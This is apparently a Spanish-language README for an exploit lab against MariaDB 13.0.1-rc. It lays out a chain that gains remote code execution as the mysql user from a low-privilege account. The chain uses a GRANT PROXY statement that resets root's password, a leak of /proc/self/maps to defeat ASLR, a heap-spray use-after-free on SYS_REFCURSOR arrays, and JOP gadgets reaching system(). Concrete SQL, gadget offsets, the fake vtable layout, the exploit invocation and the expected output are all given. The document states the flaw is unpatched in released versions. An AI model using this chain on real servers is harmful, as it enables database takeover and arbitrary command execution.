
Laboratorio de RCE de MariaDB 13.0.1-rc — escalada de privilegios + UAF de heap + cadena JOP a system() como uid 999(mysql) en la imagen estándar de Docker. Encontrado con RAPTOR y raptor-loop-hunt.
Ejecución remota de código en la imagen Docker estándar sin modificar de MariaDB 13.0.1-rc como uid 999 (mysql).
Dos variantes de exploit:
| Variante | Archivo | Requisitos | Notas |
|---|---|---|---|
| SQL puro (recomendado) | exploit_pure_sql.py | una cuenta MariaDB de bajos privilegios + TCP | sin acceso al host, sin docker, sin /proc/mem, sin contraseña de root |
| PoC asistida por el host | exploit.py | root en el host Docker | escribe la cadena JOP vía /proc/<pid>/mem |
Probado y verificado en: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 ejecuciones, cada una con bases ASLR nuevas).
exploit_pure_sql.py)El atacante cuenta únicamente con:
lowpriv de compose) + su contraseña, yToda la cadena se ejecuta mediante sentencias SQL; sin acceso a procesos del lado del host, sin comandos docker, sin direcciones conocidas. Cada dirección en tiempo de ejecución se obtiene del propio objetivo vía SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
Las únicas operaciones no SQL restantes son tareas posteriores al exploit: reiniciar el contenedor (ya caído) y mostrar el archivo marcador — no forman parte de la explotación.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
Solo requiere un cliente mariadb/mysql y Python 3. --container se usa
para la visualización final del marcador (reinicio + cat) y puede omitirse si el marcador
se verifica de otra forma.
Salida esperada al final:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' omite todas las
comprobaciones de privilegios. La cláusula de autenticación vacía hace que LEX_USER::has_auth()
devuelva false (omitiendo check_alter_user()), mientras que replace_user_table() aún
aplica la contraseña vacía — reemplazando las credenciales de root. Una sola sentencia SQL,
cualquier usuario autenticado, todas las versiones publicadas de MariaDB.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' lee el diseño completo de memoria del
proceso mariadbd desde SQL, revelando la base PIE y las direcciones base de libc.
Funciona con secure_file_priv = NULL (sin establecer) en la imagen original.
sp_cursor_array::get_cursor_by_ref() devuelve un puntero interior a un
Dynamic_array cuyo almacenamiento subyacente es reubicado por my_realloc al crecer.
Cuando el método open() de un cursor ejecuta SQL controlado por el atacante que abre
cursores adicionales, el array crece, el almacenamiento antiguo se libera y el puntero
en caché del llamador queda colgante.
El fragmento liberado (16 cursores x 112 bytes = 1792 bytes) es reclamado mediante un heap
spray de 128 copias de variables de usuario de 1784 bytes cada una (ajuste exacto para el fragmento
de glibc). La carga útil del spray coloca un puntero vtable controlado en el desplazamiento 0x20
(el miembro result de sp_cursor), que posteriormente se usa para el despacho
virtual:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
Dos gadgets JOP del binario mariadbd original (sin ROP, sin pivot de pila):
| Gadget | Desplazamiento | Instrucción | Propósito |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | Corrección de alineación de pila |
| D1 | PIE+0xe3075b |
La vtable falsa V reside en el búfer de 128 MiB; diseño:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
El problema del huevo y la gallina de escribir datos JOP autorreferenciales antes de conocer la dirección del búfer se resuelve mediante el comportamiento de mmap de glibc:
/proc/self/maps/proc/self/maps; si la dirección alguna vez se
mueve, la autorreferencia se vuelve a incrustar y se reintenta la escritura (converge en
una iteración en la práctica)exploit.py)Misma cadena, pero el diseño JOP se escribe en el proceso vía
/proc/<pid>/mem desde el host Docker (se requiere root), el script del payload se
crea mediante docker exec, y se conecta con la contraseña de root del
archivo compose. Se conserva como PoC histórica; la variante de SQL puro lo sustituye.
sql/sp_cursor.{cc,h} entre la etiqueta 13.0.1 y HEAD).dbd60d0ad8d, MDEV-40470) está en ramas
de desarrollo pero ausente de todas las versiones publicadas (verificado de 13.0.1 a 10.6.27).SET GLOBAL max_allowed_packet se aumenta primero y se usa una conexión nueva).DATA_OFF si alguna vez difiere).| Antiguo auxiliar (exploit.py) | Reemplazo en SQL puro |
|---|
docker inspect → PID + /proc/<pid>/maps del lado del host | LOAD DATA INFILE '/proc/self/maps' |
escrituras de /proc/<pid>/mem del lado del host para la cadena JOP | diseño incrustado vía CONCAT/UNHEX en la asignación; dirección obtenida del diff de maps en SQL; la reutilización de la ranura mmap mantiene válida la autorreferencia |
docker exec ... echo CMD > /tmp/payload_cmd.sh | cadena de comando incrustada directamente en el diseño JOP |
mariadb -uroot -plabpass (contraseña de root) | escalada GRANT PROXY desde la cuenta de bajos privilegios |
docker exec ... cat MARKER | solo se usa para mostrar la prueba |
mov rdi,[rax+0xa8]; call [rax+0xa0] |
| Cargar ptr de comando, llamar a system() |